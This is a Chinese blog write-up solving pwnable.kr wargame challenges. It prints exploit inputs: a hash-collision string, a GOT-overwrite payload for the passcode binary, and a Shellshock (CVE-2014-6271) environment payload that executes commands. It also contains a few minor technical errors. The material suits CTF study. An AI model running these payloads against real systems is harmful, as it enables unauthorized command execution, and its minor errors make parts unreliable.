pwnable.kr的历险1

近期有个比赛哇。。最近恶补一下pwn把。。


pwnable.kr的历险1

fd - 1 pt

这个题目本身挺简单的,就是让argv[1] == 0x1234即可。但是有个神奇的现象,不知道它是怎么编译的,居然再fd = 1和fd = 2的时候都可以读取数据到buf中。。求解释。

collision - 3 pt

逻辑就是将一个输入的字符串转换成整形数组(长度为5),然后将其相加后得到的答案要等于 0x21DD09E。然后考虑到,这个内容如果直接做,不能出现\x00,不然strlen会发生字符串长度截断。所以要保证不能有\x00,于是改一下,变成:

`python -c "print '\xc8\xce\xc5\x06'*4 + '\xcc\xce\xc5\x06'"`

这个用到一个linux 操作 –
command 倒引号 (backticks)
倒单引号能够将cmd包括,然后能够执行。

bof - 5 pt

简单的栈溢出。直接上脚本:

passcode - 10 pt

这个有点难,我们要记录一下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>

void login(){
int passcode1;
int passcode2;

printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);

// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);

printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}

void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}

int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");

welcome();
login();

// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}

提示说是passcode,程序带有warning,发现是一个很搞怪的模式:
void login(){
int passcode1;
int passcode2;

    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);

    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
    scanf("%d", passcode2);

    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
            printf("Login OK!\n");
            system("/bin/cat flag");
    }
    else{
            printf("Login Failed!\n");
            exit(0);
    }

}
gdb查看汇编如下:

0x08048564 <+0>: push %ebp
0x08048565 <+1>: mov %esp,%ebp
0x08048567 <+3>: sub $0x28,%esp
=> 0x0804856a <+6>: mov $0x8048770,%eax
0x0804856f <+11>: mov %eax,(%esp)
0x08048572 <+14>: call 0x8048420 printf@plt
0x08048577 <+19>: mov $0x8048783,%eax
0x0804857c <+24>: mov -0x10(%ebp),%edx
0x0804857f <+27>: mov %edx,0x4(%esp)
0x08048583 <+31>: mov %eax,(%esp)
0x08048586 <+34>: call 0x80484a0 __isoc99_scanf@plt
0x0804858b <+39>: mov 0x804a02c,%eax
0x08048590 <+44>: mov %eax,(%esp)
0x08048593 <+47>: call 0x8048430 fflush@plt
0x08048598 <+52>: mov $0x8048786,%eax
0x0804859d <+57>: mov %eax,(%esp)
0x080485a0 <+60>: call 0x8048420 printf@plt
0x080485a5 <+65>: mov $0x8048783,%eax
0x080485aa <+70>: mov -0xc(%ebp),%edx
0x080485ad <+73>: mov %edx,0x4(%esp)
0x080485b1 <+77>: mov %eax,(%esp)
0x080485b4 <+80>: call 0x80484a0 __isoc99_scanf@plt
0x080485b9 <+85>: movl $0x8048799,(%esp)
0x080485c0 <+92>: call 0x8048450 puts@plt
0x080485c5 <+97>: cmpl $0x528e6,-0x10(%ebp)
0x080485cc <+104>: jne 0x80485f1 <login+141>
0x080485ce <+106>: cmpl $0xcc07c9,-0xc(%ebp)
0x080485d5 <+113>: jne 0x80485f1 <login+141>
0x080485d7 <+115>: movl $0x80487a5,(%esp)
0x080485de <+122>: call 0x8048450 puts@plt
0x080485e3 <+127>: movl $0x80487af,(%esp)
0x080485ea <+134>: call 0x8048460 system@plt
0x080485ef <+139>: leave
0x080485f0 <+140>: ret
0x080485f1 <+141>: movl $0x80487bd,(%esp)
0x080485f8 <+148>: call 0x8048450 puts@plt
0x080485fd <+153>: movl $0x0,(%esp)
0x08048604 <+160>: call 0x8048480 exit@plt

由于想不到正确的做法发,那么只能强行绕过,执行我们需要的结果了:使用gdb修改eip使其指向0x080485e3
/bin/cat: flag: Permission denied
Now I can safely trust you that you have credential :)
然而提交答案后发现不对,只能猜测必须构造正确的字符串才能够执行。。。。
后来发现,mdzz它开始有一个可以注入的位置啊居然就这样跳过了:
void welcome(){
char name[100];
printf(“enter you name : “);
scanf(”%100s”, name);
printf(“Welcome %s!\n”, name);
}

汇编如下:
0x08048609 <+0>: push %ebp
0x0804860a <+1>: mov %esp,%ebp
0x0804860c <+3>: sub $0x88,%esp
=> 0x08048612 <+9>: mov %gs:0x14,%eax
0x08048618 <+15>: mov %eax,-0xc(%ebp)
0x0804861b <+18>: xor %eax,%eax
0x0804861d <+20>: mov $0x80487cb,%eax
0x08048622 <+25>: mov %eax,(%esp)
0x08048625 <+28>: call 0x8048420 printf@plt
0x0804862a <+33>: mov $0x80487dd,%eax
0x0804862f <+38>: lea -0x70(%ebp),%edx
0x08048632 <+41>: mov %edx,0x4(%esp)
0x08048636 <+45>: mov %eax,(%esp)
0x08048639 <+48>: call 0x80484a0 __isoc99_scanf@plt
0x0804863e <+53>: mov $0x80487e3,%eax
0x08048643 <+58>: lea -0x70(%ebp),%edx
0x08048646 <+61>: mov %edx,0x4(%esp)
0x0804864a <+65>: mov %eax,(%esp)
0x0804864d <+68>: call 0x8048420 printf@plt
0x08048652 <+73>: mov -0xc(%ebp),%eax
0x08048655 <+76>: xor %gs:0x14,%eax
0x0804865c <+83>: je 0x8048663 <welcome+90>
0x0804865e <+85>: call 0x8048440 __stack_chk_fail@plt
0x08048663 <+90>: leave
0x08048664 <+91>: ret
那么就很显然了,只要构造一个长度为0x74的padding,加上能够跳转到system语句的内容,就能够完成注入。
输入字符串地址为:0xfffddf98

ebp地址为:0xfffde008

则注入数据长度为:112 + 地址

地址为0x080485e3

尝试发现也不行,这里的scanf中限制了一次性读入的字符串数量。。。这就很尴尬了。
上网找了参考后发现,应该利用的是【修改plt的思路】,也就是说

0x080485fd <+153>: movl $0x0,(%esp)
0x08048604 <+160>: call 0x8048480 exit@plt

如果密码错误的话,这里会调用0x08048480处的exit,注意到这里是plt,也就是说这里的跳转地址只是跳转到plt表中而已,此时的plt表中的位置不过是一个跳转的地址而已,所以可以通过修正这个跳转地址使得可以跳到目的位置上去。
首先使用readelf -r 指令查看当前的重定向位置:

0804a018  00000707 R_386_JUMP_SLOT   00000000   exit@GLIBC_2.0

发现此时exit的偏移量为0x0804a018处相关代码为:

0x08048480 <+0>:     jmp    *0x804a018
0x08048486 <+6>:     push   $0x30
0x0804848b <+11>:    jmp    0x8048410

内部代码为:
0x0804a018中的内容为 0x08048486,也就是跳转回到这个位置。
换句话,linker的过程其实就是把这个jmp的跳转地址修改,所以我们也可以如法炮制,通过passcode将内容写入这里。
注意到两个函数连续调用,也就是说栈中的变化应该是一致的。于是可以得到不同量的存储位置:

-0x10(%ebp):passcode1
-0x70(%ebp): name
-0x0c(%ebp): passcode2

0x70 - 100 = 0xc。也就是说写入name的时候的内容会将passcode1给覆盖掉,却不能覆盖到passcode2。然而我们已知passcode1读入的数据会存放到其地址指向的内容中。

0x0804857c <+24>:    mov    -0x10(%ebp),%edx
0x0804857f <+27>:    mov    %edx,0x4(%esp)
0x08048583 <+31>:    mov    %eax,(%esp)
0x08048586 <+34>:    call   0x80484a0 <__isoc99_scanf@plt>

(原先是一句错误的内容,我们这里反而要利用这一点,将%edx中的内容替换成我们要输入的位置的坐标)

'a'*96 + '\x18\xa0\x04\x08' + '134514147'-->注意人家读入的是scanf("%d")

就能够往0x0804a018处写入system的地址,完成注入。

random - 1 pt

这个考点就是一个随机数。。。直接上C语言即可完成。

input - 4 pt

当年弃坑就是因为这个题目,这重新看一下L

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc, char* argv[], char* envp[]){
printf("Welcome to pwnable.kr\n");
printf("Let's see if you know how to give input to program\n");
printf("Just give me correct inputs then you will get the flag :)\n");

// 参数要有100个
if(argc != 100) return 0;
// 第61个参数是61
if(strcmp(argv['A'],"\x00")) return 0;
// 第62个参数是\x20\x0a\x0d
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");

// stdio
char buf[4];
// 然后输入流输入\x00\x0a\x00\xff
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
// 然后错误流输入\x00\x0a\x00\xff
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");

// env
// 接下来存在环境变量 '\xde\xad\xbe\xef',对应值为'\xca\xfe\xba\xbe'
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");

// file
// 然后存在一个文件叫做\x0a
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
// 从文件中读出 4个一字节的数独到buf中
if( fread(buf, 4, 1, fp)!=1 ) return 0;
// 文件中的值为\x00\x00\x00\x00
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");

// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
// 这要求监听一个端口,参数为第63个为端口
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
// 这个端口上要能够接收到字符串\xde\xad\xbe\xef
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");

// here's your flag
system("/bin/cat flag");
return 0;
}

好麻烦啊啊。。。。看起来是要靠一波底力了。由于我们看到很多功能只有我们再本地才能实现,所以这里我们再linux下的/tmp/文件夹下写代码(普通目录由于权限问题不能写入)从而完成实验
让我们一个个关卡来:

1
2
3
4
5
6
// 参数要有100个
if(argc != 100) return 0;
// 第61个参数是61
if(strcmp(argv['A'],"\x00")) return 0;
// 第62个参数是\x20\x0a\x0d
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;

这个地方要求我们传参到指定位置上。这里我们直接使用函数

execvp(const char *file ,char * const argv []);

来传递函数即可。我们这里考虑使用execvp的原因在于之后用到了环境变量的问题,所以这里动态的增加环境变量

setenv(const char *name,const char * value,int overwrite);

然后再进行调用试试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include<unistd.h>

char *args[101];
int main(){
char* env = "PATH";
char* value = "/home/input2";

setenv(env, value, 1);
int i = 0;
for(i = 0; i < 100; i++){
args[i] = malloc(sizeof(char)*20);
}
args[100] = 0;
strcpy(args['A'] ,"\x00");
strcpy(args['B'], "\x20\x0a\x0d");
printf("begin\n");
execvp("input", args);
return 0;
}

没问题,然后进入第二关

1
2
3
4
5
6
7
// 然后输入流输入\x00\x0a\x00\xff
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
// 然后错误流输入\x00\x0a\x00\xff
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");

第二关的要去是往输入流和错误流中写入指定的字符串,这里我们尝试使用write往0和2中写入数据。发现直接写并不能写入,所以这里直接使用了pipe和fork进行处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int pid = fork();
if(pid == 0){
close(p[1]);close(p2[1]);
dup2(p[0], 0);
dup2(p2[0], 2);
close(p[0]);
// close(p2[0]);
// close(0);
execvp("input", args);
}
else{
close(p[0]);close(p2[0]);
write(p[1],"\x00\x0a\x00\xff", 4);
write(p2[1], "\x00\x0a\x02\xff", 4);
}

第三关比较简单,就是设置环境变量。

1
2
3
4
// env
// 接下来存在环境变量 '\xde\xad\xbe\xef',对应值为'\xca\xfe\xba\xbe'
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");

这个肯定没问题,毕竟我们之前已经设置过了:

1
2
3
char* env2 = "\xde\xad\xbe\xef";
char* value2 = "\xca\xfe\xba\xbe";
setenv(env2, value2, 1);

三行解决问题

第四关有点疑惑,是要求我们在指定的位置创建一个文件,然后里面放有指定内容即可。

1
2
3
4
5
6
7
8
9
10
11
// file
// 然后存在一个文件叫做\x0a
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
// 从文件中读出 4个一字节的数独到buf中
if( fread(buf, 4, 1, fp)!=1 ) return 0;
// 文件中的值为\x00\x00\x00\x00
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");

问题是,我们都知道,这个input所在目录是不可写的。。。那么我们得如何创建文件呢?这里想到,如果是本程序执行的execvp,那么创建的文件会不会就是在本目录
下呢?(希望知情大佬告知)

最后一关比较麻烦,是网络的知识:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
// 这要求监听一个端口,参数为第63个为端口
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
// 这个端口上要能够接收到字符串\xde\xad\xbe\xef
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");


整体逻辑便是【监听当前’C’传入的端口,并且从这个端口上接收数据\xde\xad\xbe\xef】。那么我们这边就可以反向处理,往本地ip的’C’端口发送指定的内容,从而完成关卡。
最后,由于函数会有一个打开flag的操作,而我们当前的路径并不是在/home/input2下,所以当前目录下没有flag。于是我们可以使用

ln /home/input2/flag flag

进行符号链接。

leg - 2 pt

这个关卡是查看arm汇编,这里先贴一点代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdio.h>
#include <fcntl.h>
int key1(){
asm("mov r3, pc\n");
}
int key2(){
asm(
"push {r6}\n"
"add r6, pc, $1\n"
"bx r6\n"
".code 16\n"
"mov r3, pc\n"
"add r3, $0x4\n"
"push {r3}\n"
"pop {pc}\n"
".code 32\n"
"pop {r6}\n"
);
}
int key3(){
asm("mov r3, lr\n");
}
int main(){
int key=0;
printf("Daddy has very strong arm! : ");
scanf("%d", &key);
if( (key1()+key2()+key3()) == key ){
printf("Congratz!\n");
int fd = open("flag", O_RDONLY);
char buf[100];
int r = read(fd, buf, 100);
write(0, buf, r);
}
else{
printf("I have strong leg :P\n");
}
return 0;
}

可以看到还是比较麻烦的。。。我们先来复习一下ARM:

寄存器含义

  • r15 – PC:程序计数器,在arm模式下,记录的是当前pc + 8,在thumb模式下,记录的是当前pc + 4
  • r14 – LR:链接寄存器,记录了返回值地址。
  • r13 – SP:栈寄存器

操作码

基本的指令如下
opcode {}{S} , {,}
其中<>为必须,{}为可选

* cond: 执行条件
* Rd:表示目标寄存器。
* Rn:表示第一个操作数的寄存器。
* operand2:表示第2个操作数。

其中,operand2中允许以下的表达:

  • #immed_8r:常数表达式
  • Rm:寄存器

存储方式

AR采用的是Load-store结构,也就是在内存交换的时候,使用store指令存入内存,再用load读出内存中的数据。
例子:

1
2
3
4
STMFD SP! {R8-R9}
含义:(1)SP=SP-4字节 (2) R9--->SP (3)SP=SP-4 (4) R8-->SP
LDMFD SP! {R8-R9,PC}
含义:(1)SP-->R8 (2)SP=SP+4 (3)SP-->R9 (4)SP=SP+4 (5)SP-->PC (6) SP=SP+4

函数调用

BL/BLX/BX调用函数,此时使用r14(链接寄存器)存入此时下一跳语句。
返回值存放在r0中。

arm的指令对齐

ARM指令是字对齐(指令的地址后两位为[1:0]=0b00),Thumb是半字对齐(指令的地址后两位为[1:0]=0bx0,x为0或1)。指令的地址的最后一位必为0。
所以当使用bx进行跳转的时候,必须保证指令地址的最后一位为0。因此如果指定的跳转地址不是对其的话,就会将其与0xfffffffc/0xffffffe进行与在进行计算

参数传递的时候,会首先将前四个参数放在r0-r4上,之后的参数才会放到栈上。

回到代码上,首先key1的汇编如下:

1
2
3
4
5
6
7
0x00008cd4 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
0x00008cd8 <+4>: add r11, sp, #0 ; r11 = sp + 0
0x00008cdc <+8>: mov r3, pc
0x00008ce0 <+12>: mov r0, r3
0x00008ce4 <+16>: sub sp, r11, #0
0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008cec <+24>: bx lr

此时的返回值可以知道,就是当前的pc + 8,也即是0x8ce4

key2如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0x00008cf0 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
0x00008cf4 <+4>: add r11, sp, #0
0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)
0x00008cfc <+12>: add r6, pc, #1
0x00008d00 <+16>: bx r6
0x00008d04 <+20>: mov r3, pc
0x00008d06 <+22>: adds r3, #4
0x00008d08 <+24>: push {r3}
0x00008d0a <+26>: pop {pc}
0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
0x00008d10 <+32>: mov r0, r3
0x00008d14 <+36>: sub sp, r11, #0
0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d1c <+44>: bx lr

这个地方有一个让我奇怪的问题,这个r6的地址显然不对啊。后来查到一个叫做thumb指令的东西,发现前面的代码中也有相关的蛛丝马迹

1
2
3
4
5
6
7
".code   16\n"
"mov r3, pc\n"
"add r3, $0x4\n"
"push {r3}\n"
"pop {pc}\n"
".code 32\n"
"pop {r6}\n"

.code 16的声明就意味着使用的就是thumb指令集。而此时的使用哪种指令集由低位决定。由于我们前面有提

add r6, pc, #1

此时,状态是由寄存器Rn的最低位来指定的,如果操作数寄存器的状态位Bit0=0,则进入ARM状态,如果Bit0=1,则进入Thumb状态。于是此时状态为Thumb,地址要进行与0xfffffffe相与,得到的地址为0x00008d04.于是此时的返回值就是0x8d08 + 4

最后是key3:

1
2
3
4
5
6
7
0x00008d20 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
0x00008d24 <+4>: add r11, sp, #0
0x00008d28 <+8>: mov r3, lr
0x00008d2c <+12>: mov r0, r3
0x00008d30 <+16>: sub sp, r11, #0
0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d38 <+24>: bx lr

这里可以看到,这里将lr 交给了r3,也就是将【函数的返回地址】交给了r0,所以这里的答案就是:
0x00008d80

综上,key1+key2+key3 = 0x8ce4 + 0x8d08 + 4 + 0x8d80

mistake - 1 pt

这个题目提示说,是一个简单的题目,并且是真实漏洞,希望我们不要想象的太难。并且提示上提到说是运算符优先级的问题,拿到源码看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include <stdio.h>
#include <fcntl.h>

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
int i;
for(i=0; i<len; i++){
s[i] ^= XORKEY;
}
}

int main(int argc, char* argv[]){

int fd;
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
printf("can't open password %d\n", fd);
return 0;
}

printf("do not bruteforce...\n");
sleep(time(0)%20);

char pw_buf[PW_LEN+1];
int len;
if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
printf("read error\n");
close(fd);
return 0;
}

char pw_buf2[PW_LEN+1];
printf("input password : ");
scanf("%10s", pw_buf2);

// xor your input
xor(pw_buf2, 10);

if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
printf("Password OK\n");
system("/bin/cat flag\n");
}
else{
printf("Wrong Password\n");
}

close(fd);
return 0;
}

看了好一会儿才发现问题所在。。。

1
fd=open("/home/mistake/password",O_RDONLY,0400) < 0

其实**=优先级是低于<**的,并且open总是>0的,因此得到的fd应该为0,也就是输入流,这里就相当于从输入流中读取数据进行异或了。所以这里我们只需要输入两组长度为10的数据,并且保证其中一个为另一个 xor 1 即可

shellshock - 1 pt

这个题目是一个真实漏洞:
CVE-2014-6271
这个漏洞的利用在于,其解析环境变量的时候,在遇到以“(){”开头通过环境变量来定义的,却没有出现}的环境变量的时候,将会执行其后面的内容,从而造成任意指令执行。
通过设置环境变量:

export x='() { :;}; /home/shellshock/bash -c "cat /home/shellshock/flag"'

相关事宜

IRC : irc.netgarage.org:6667 / #pwnable.kr

参考文章:
http://blog.csdn.net/tigerjibo/article/details/6201716